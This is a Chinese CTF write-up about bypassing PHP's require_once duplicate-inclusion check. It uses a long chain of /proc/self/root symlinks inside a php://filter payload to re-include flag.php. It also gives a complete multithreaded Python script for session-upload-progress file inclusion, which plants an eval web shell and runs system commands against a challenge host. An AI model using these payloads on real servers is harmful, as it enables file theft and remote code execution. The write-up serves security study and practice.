php源码分析 require_once 绕过不能重复包含文件的限制-安全客 - 安全资讯平台
这里是特性
我们首先来解释一下
<?php
highlight_file(__FILE__);
require_once 'flag.php';
if(isset($_GET['file'])) {
require_once $_GET['file'];
}
这个是我们的源代码
PHP包含的格式是将 已经包含的文件和文件的真是路径放入哈希表
然后如果存在 就不包含了
特性
这里的特性总结就是require-once如果包含过多软链接 就会失效
所以我们通过大量软链接实现绕过
这里我们使用两个 proc内容
Proc
/proc/self 当前的pid
其中存在root
所以我们继续包含
/proc/self/root
/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self
实现大量软链接
然后最后在var/www/html/flag.php 即可实现
php://filter/convert.base64-encode/resource=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
实现包含
然后这里还可以通过 session upload LIF 实现sess文件包含
import io
import requests
import threading
sessid = 'bbbbbbb'
data = {"cmd":"system('cat flag.php');"} #修改命令
def write(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
#发送upload
resp = session.post( 'http://7ccbe9ad-2db2-4fa8-bb2e-972cda495260.node4.buuoj.cn:81/', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('1.txt',f)}, cookies={'PHPSESSID': sessid} )
def read(session):
while True:
#文件包含
resp = session.post('http://7ccbe9ad-2db2-4fa8-bb2e-972cda495260.node4.buuoj.cn:81/?file=/tmp/sess_'+sessid,data=data)
if 'flag' in resp.text: #判断条件
print(resp.text)
event.clear()
break
else:
print("[+++++++++++++]retry")
if __name__=="__main__":
event=threading.Event()
with requests.session() as session:
for i in range(1,30):
threading.Thread(target=write,args=(session,)).start()
for i in range(1,30):
threading.Thread(target=read,args=(session,)).start()
event.set()
这里再介绍一下非预期
/proc/self/cwd 这里会链接到我们当前的目录中
然后这里我们尝试读取
发现是ok的 成功读取到内容 所以这里我们使用
/new/../../proc/slef/cwd/flag
就会被当做一个新的绝对路径 存入哈希表 不会造成二次包含
这里前面不管换什么都可以解析 因为他只会去解析最终的内容
然后就是
另一个 引用的内容
/proc/self/cwd/flag.php
但是这里我们解析不到 因为这里会回去原本进行解析